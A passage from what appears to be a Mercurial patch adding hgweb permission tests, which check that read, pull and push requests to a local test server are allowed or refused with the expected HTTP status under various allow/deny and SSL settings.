'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_read= allows read from user in list ++ ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_read takes precedence over web.allow_read ++ ++ $ cat > .hg/hgrc < [web] ++ > allow_read = baduser ++ > deny_read = baduser ++ > EOF ++ ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allowpull=false denies read access to repo ++ ++ $ cat > .hg/hgrc < [web] ++ > allowpull = false ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=capabilities' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++Attempting a write command with HTTP GET fails ++ ++ $ cat > .hg/hgrc < EOF ++ ++ $ REQUEST_METHOD=GET hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ $ hg bookmark -d bm ++ abort: bookmark 'bm' does not exist ++ [255] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++Attempting a write command with an unknown HTTP verb fails ++ ++ $ REQUEST_METHOD=someverb hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ $ hg bookmark -d bm ++ abort: bookmark 'bm' does not exist ++ [255] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++Pushing on a plaintext channel is disabled by default ++ ++ $ cat > .hg/hgrc < EOF ++ ++ $ REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 403 ssl required ++ ++ 0 ++ ssl required ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 403 ssl required ++ ++ 0 ++ ssl required ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 403 ssl required ++ ++ 0 ++ ssl required ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 403 ssl required ++ ++ 0 ++ ssl required ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: HTTP Error 403: ssl required ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: HTTP Error 403: ssl required ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_push=* denies pushing to unauthenticated users ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > deny_push = * ++ > EOF ++ ++ $ REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_push=* denies pushing to authenticated users ++ ++ $ REMOTE_USER=someuser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_push= denies pushing to user in list ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > deny_push = baduser ++ > EOF ++ ++ $ REMOTE_USER=baduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_push= denies pushing to user not in list because allow_push isn't set ++ ++ $ REMOTE_USER=gooduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_push=* allows pushes from unauthenticated users ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = * ++ > EOF ++ ++ $ REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 Script output follows ++ ++ write command no defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 Script output follows ++ ++ write command w/ defined permissions ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ [1] ++ ++ $ hg book -d bm ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: adding changesets ++ remote: adding manifests ++ remote: adding file changes ++ remote: added 1 changesets with 1 changes to 1 files ++ ++ $ hg strip -r 1: ++ saved backup bundle to $TESTTMP/test/.hg/strip-backup/ba677d0156c1-backup.hg ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_push=* allows pushes from authenticated users ++ ++ $ REMOTE_USER=someuser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 Script output follows ++ ++ write command no defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 Script output follows ++ ++ write command w/ defined permissions ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ [1] ++ ++ $ hg book -d bm ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: adding changesets ++ remote: adding manifests ++ remote: adding file changes ++ remote: added 1 changesets with 1 changes to 1 files ++ ++ $ hg strip -r 1: ++ saved backup bundle to $TESTTMP/test/.hg/strip-backup/ba677d0156c1-backup.hg ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_push= denies push to user not in list ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = gooduser ++ > EOF ++ ++ $ REMOTE_USER=baduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_push= allows push from user in list ++ ++ $ REMOTE_USER=gooduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 Script output follows ++ ++ write command no defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 Script output follows ++ ++ write command w/ defined permissions ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ [1] ++ ++ $ hg book -d bm ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: adding changesets ++ remote: adding manifests ++ remote: adding file changes ++ remote: added 1 changesets with 1 changes to 1 files ++ ++ $ hg strip -r 1: ++ saved backup bundle to $TESTTMP/test/.hg/strip-backup/ba677d0156c1-backup.hg ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.deny_push takes precedence over web.allow_push ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = someuser ++ > deny_push = someuser ++ > EOF ++ ++ $ REMOTE_USER=someuser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ ++web.allow_push has no effect if web.deny_read is set ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = * ++ > deny_read = * ++ > EOF ++ ++ $ REQUEST_METHOD=POST REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 